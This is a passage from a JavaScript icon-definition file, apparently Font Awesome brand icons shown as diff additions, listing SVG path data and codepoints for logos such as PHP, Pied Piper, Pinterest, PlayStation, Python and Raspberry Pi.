7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z" ], + "phoenix-squadron": [ 512, 512, [], "f511", "M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z" ], + php: [ 640, 512, [], "f457", "M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z" ], + "pied-piper": [ 480, 512, [], "f2ae", "M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z" ], + "pied-piper-alt": [ 576, 512, [], "f1a8", "M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z" ], + "pied-piper-hat": [ 640, 512, [], "f4e5", "M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z" ], + "pied-piper-pp": [ 448, 512, [], "f1a7", "M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z" ], + "pied-piper-square": [ 448, 512, [], "e01e", "M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z" ], + pinterest: [ 496, 512, [], "f0d2", "M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z" ], + "pinterest-p": [ 384, 512, [], "f231", "M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z" ], + "pinterest-square": [ 448, 512, [], "f0d3", "M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z" ], + playstation: [ 576, 512, [], "f3df", "M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z" ], + "product-hunt": [ 512, 512, [], "f288", "M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z" ], + pushed: [ 432, 512, [], "f3e1", "M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z" ], + python: [ 448, 512, [], "f3e2", "M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z" ], + qq: [ 448, 512, [], "f1d6", "M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z" ], + quinscape: [ 512, 512, [], "f459", "M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z" ], + quora: [ 448, 512, [], "f2c4", "M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z" ], + "r-project": [ 581, 512, [], "f4f7", "M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z" ], + "raspberry-pi": [ 407, 512, [], "f7bb", "M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z" ], + ravelry: [ 512, 512, [], "f2d9", "M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.9